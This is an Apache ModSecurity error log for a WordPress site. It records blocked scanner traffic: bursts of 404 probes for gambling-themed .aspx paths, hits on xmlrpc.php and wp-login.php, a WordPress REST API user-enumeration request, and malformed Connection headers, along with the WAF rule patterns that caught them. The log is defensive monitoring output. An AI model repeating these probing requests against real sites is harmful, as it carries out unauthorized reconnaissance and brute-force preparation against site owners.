[Sun Mar 08 06:56:31.152439 2026] [:error] [pid 22787:tid 22840] [client 62.84.185.67:41948] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aaytH0F9MGMhk9pT4z70EQAAA0w"]
[Sun Mar 08 06:56:33.292271 2026] [:error] [pid 22790:tid 22892] [client 62.84.185.67:41956] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aaytIRXbGDWrzD_dTOcw8gAAA8o"]
[Sun Mar 08 08:04:57.659426 2026] [:error] [pid 22667:tid 22712] [client 84.246.210.111:54932] [client 84.246.210.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.246.210.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aay9KeG7qk1roo-TRWNAMwAAAkc"]
[Sun Mar 08 10:16:27.179705 2026] [:error] [pid 22788:tid 22874] [client 43.140.247.223:57342] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aazb-0hwluk21OG9mSczFwAAA5M"]
[Sun Mar 08 12:54:30.545796 2026] [:error] [pid 22788:tid 22867] [client 43.164.196.57:40436] [client 43.164.196.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa0BBkhwluk21OG9mSdbYgAAA4w"]
[Sun Mar 08 15:54:30.069580 2026] [autoindex:error] [pid 22790:tid 22901] [client 159.89.193.17:55012] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 08 15:54:33.578398 2026] [:error] [pid 22787:tid 22852] [client 159.89.193.17:64861] [client 159.89.193.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.193.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aa0rOUF9MGMhk9pT4z7engAAA1g"]
[Sun Mar 08 18:19:00.587453 2026] [:error] [pid 22786:tid 22815] [client 34.26.9.221:60875] [client 34.26.9.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.9.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa1NFHPuJewMN2jPbdXrswAAAw4"]
[Sun Mar 08 18:19:05.031425 2026] [:error] [pid 22786:tid 22817] [client 34.26.9.221:60875] [client 34.26.9.221] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aa1NGXPuJewMN2jPbdXrvAAAAxA"]
[Sun Mar 08 18:19:07.203082 2026] [:error] [pid 22786:tid 22813] [client 34.26.9.221:60875] [client 34.26.9.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.9.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa1NG3PuJewMN2jPbdXrwAAAAww"]
[Sun Mar 08 18:19:10.420502 2026] [:error] [pid 22788:tid 22864] [client 34.26.9.221:51647] [client 34.26.9.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.9.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa1NHkhwluk21OG9mScDtgAAA4k"]
[Sun Mar 08 18:19:13.227311 2026] [:error] [pid 22788:tid 22861] [client 34.26.9.221:54432] [client 34.26.9.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.9.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa1NIUhwluk21OG9mScDuQAAA4Y"]
[Sun Mar 08 18:19:15.758609 2026] [:error] [pid 22668:tid 22745] [client 34.26.9.221:65225] [client 34.26.9.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.26.9.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa1NI-mzLHpblwnQgPgPCAAAAo0"]
[Sun Mar 08 21:12:59.759236 2026] [:error] [pid 22669:tid 22779] [client 65.108.125.120:53766] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aa1122vqAhy8LIaua-qVJAAAAtQ"]
[Sun Mar 08 21:13:01.774914 2026] [:error] [pid 22669:tid 22766] [client 65.108.125.120:53772] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa113WvqAhy8LIaua-qVLQAAAsc"]
[Sun Mar 08 21:13:03.765517 2026] [:error] [pid 22788:tid 22866] [client 65.108.125.120:53784] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aa1130hwluk21OG9mSc0_gAAA4s"]
[Sun Mar 08 21:13:05.754839 2026] [:error] [pid 10418:tid 10479] [client 65.108.125.120:53788] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aa114Z8yUuQe5_Zv90n0TQAAAA4"]
[Sun Mar 08 21:13:07.748787 2026] [:error] [pid 22667:tid 22716] [client 65.108.125.120:4996] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aa114-G7qk1roo-TRWO3ogAAAks"]
[Sun Mar 08 21:13:09.732589 2026] [:error] [pid 22669:tid 22762] [client 65.108.125.120:5004] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aa115WvqAhy8LIaua-qVTAAAAsM"]
[Sun Mar 08 21:13:11.716557 2026] [:error] [pid 22788:tid 22861] [client 65.108.125.120:5022] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aa1150hwluk21OG9mSc1AwAAA4Y"]
[Sun Mar 08 21:13:13.576449 2026] [:error] [pid 43671:tid 43747] [client 65.108.125.120:5036] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aa116a6AdwroU1gT3XG-ygAAAFg"]
[Sun Mar 08 21:13:15.576858 2026] [:error] [pid 22668:tid 22754] [client 65.108.125.120:5056] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aa116-mzLHpblwnQgPglDAAAApY"]
[Sun Mar 08 21:13:17.579379 2026] [:error] [pid 22787:tid 22834] [client 65.108.125.120:41530] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aa117UF9MGMhk9pT4z4lMAAAA0Y"]
[Sun Mar 08 21:13:19.574259 2026] [:error] [pid 22667:tid 22705] [client 65.108.125.120:41544] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aa117-G7qk1roo-TRWO3qAAAAkA"]
[Sun Mar 08 21:13:21.395417 2026] [:error] [pid 10418:tid 10439] [client 65.108.125.120:41558] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa118Z8yUuQe5_Zv90n0UwAAAAE"]
[Sun Mar 08 21:13:23.424195 2026] [:error] [pid 22669:tid 22782] [client 65.108.125.120:41560] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aa1182vqAhy8LIaua-qVVwAAAtc"]
[Sun Mar 08 21:13:25.431806 2026] [:error] [pid 22787:tid 22842] [client 65.108.125.120:41566] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aa119UF9MGMhk9pT4z4lNAAAA04"]
[Sun Mar 08 21:13:27.465374 2026] [:error] [pid 22668:tid 22734] [client 65.108.125.120:41576] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aa119-mzLHpblwnQgPglHQAAAoI"]
[Sun Mar 08 21:13:29.456569 2026] [:error] [pid 22668:tid 22748] [client 65.108.125.120:51564] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aa11-emzLHpblwnQgPglJAAAApA"]
[Sun Mar 08 21:13:31.471511 2026] [:error] [pid 22668:tid 22754] [client 65.108.125.120:51578] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aa11--mzLHpblwnQgPglKwAAApY"]
[Sun Mar 08 21:13:33.468157 2026] [:error] [pid 22668:tid 22745] [client 65.108.125.120:51588] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aa11_emzLHpblwnQgPglLgAAAo0"]
[Sun Mar 08 21:13:35.497070 2026] [:error] [pid 22669:tid 22781] [client 65.108.125.120:51590] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aa11_2vqAhy8LIaua-qVbQAAAtY"]
[Sun Mar 08 21:13:37.509562 2026] [:error] [pid 22669:tid 22781] [client 65.108.125.120:51594] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aa12AWvqAhy8LIaua-qVdgAAAtY"]
[Sun Mar 08 21:13:39.521469 2026] [:error] [pid 43671:tid 43728] [client 65.108.125.120:52924] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aa12A66AdwroU1gT3XG-_QAAAEU"]
[Sun Mar 08 21:13:41.531988 2026] [:error] [pid 43671:tid 43733] [client 65.108.125.120:52940] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aa12Ba6AdwroU1gT3XG_CQAAAEo"]
[Sun Mar 08 21:13:43.549446 2026] [:error] [pid 43671:tid 43730] [client 65.108.125.120:52942] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aa12B66AdwroU1gT3XG_FAAAAEc"]
[Sun Mar 08 21:13:45.635119 2026] [:error] [pid 22668:tid 22744] [client 65.108.125.120:52956] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aa12CemzLHpblwnQgPglPAAAAow"]
[Sun Mar 08 21:13:47.638607 2026] [:error] [pid 22668:tid 22751] [client 65.108.125.120:4392] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aa12C-mzLHpblwnQgPglPwAAApM"]
[Sun Mar 08 21:13:49.667341 2026] [:error] [pid 10427:tid 10467] [client 65.108.125.120:4402] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aa12DeuBPlvYOFwlpaeG4wAAAMo"]
[Sun Mar 08 21:13:51.804092 2026] [:error] [pid 22667:tid 22716] [client 65.108.125.120:4412] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aa12D-G7qk1roo-TRWO3ugAAAks"]
[Sun Mar 08 21:13:53.825797 2026] [:error] [pid 10427:tid 10472] [client 65.108.125.120:4424] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aa12EeuBPlvYOFwlpaeG5gAAAMw"]
[Sun Mar 08 21:14:38.535196 2026] [:error] [pid 43671:tid 43726] [client 65.108.125.120:11272] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aa12Pq6AdwroU1gT3XHAIgAAAEM"]
[Sun Mar 08 21:14:40.454005 2026] [:error] [pid 22669:tid 22767] [client 65.108.125.120:11284] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aa12QGvqAhy8LIaua-qV-QAAAsg"]
[Sun Mar 08 21:14:42.326066 2026] [:error] [pid 22669:tid 22772] [client 65.108.125.120:11300] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aa12QmvqAhy8LIaua-qV_gAAAs0"]
[Sun Mar 08 21:14:44.345762 2026] [:error] [pid 43671:tid 43729] [client 65.108.125.120:11314] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aa12RK6AdwroU1gT3XHAMgAAAEY"]
[Sun Mar 08 21:14:46.241140 2026] [:error] [pid 22669:tid 22781] [client 65.108.125.120:11318] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa12RmvqAhy8LIaua-qV_wAAAtY"]
[Sun Mar 08 21:14:48.144984 2026] [:error] [pid 22667:tid 22725] [client 65.108.125.120:53942] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aa12SOG7qk1roo-TRWO32gAAAlQ"]
[Sun Mar 08 21:14:50.157711 2026] [:error] [pid 22788:tid 22859] [client 65.108.125.120:53944] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa12Skhwluk21OG9mSc1ZwAAA4Q"]
[Sun Mar 08 21:14:52.112503 2026] [:error] [pid 10524:tid 10596] [client 65.108.125.120:53958] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aa12TNJkfNNXb-EWpCBgYAAAAgY"]
[Sun Mar 08 21:14:54.149569 2026] [:error] [pid 10524:tid 10601] [client 65.108.125.120:53964] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa12TtJkfNNXb-EWpCBgYQAAAgs"]
[Sun Mar 08 21:14:56.038005 2026] [:error] [pid 22668:tid 22736] [client 65.108.125.120:53972] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aa12UOmzLHpblwnQgPglgQAAAoQ"]
[Sun Mar 08 21:14:58.048943 2026] [:error] [pid 43671:tid 43746] [client 65.108.125.120:58144] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aa12Uq6AdwroU1gT3XHASgAAAFc"]
[Sun Mar 08 21:14:59.983272 2026] [:error] [pid 22669:tid 22779] [client 65.108.125.120:58148] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aa12U2vqAhy8LIaua-qWFwAAAtQ"]
[Sun Mar 08 21:15:01.948057 2026] [:error] [pid 43671:tid 43739] [client 65.108.125.120:58158] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aa12Va6AdwroU1gT3XHAVQAAAFA"]
[Sun Mar 08 21:15:04.021849 2026] [:error] [pid 22669:tid 22760] [client 65.108.125.120:58172] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aa12WGvqAhy8LIaua-qWGwAAAsE"]
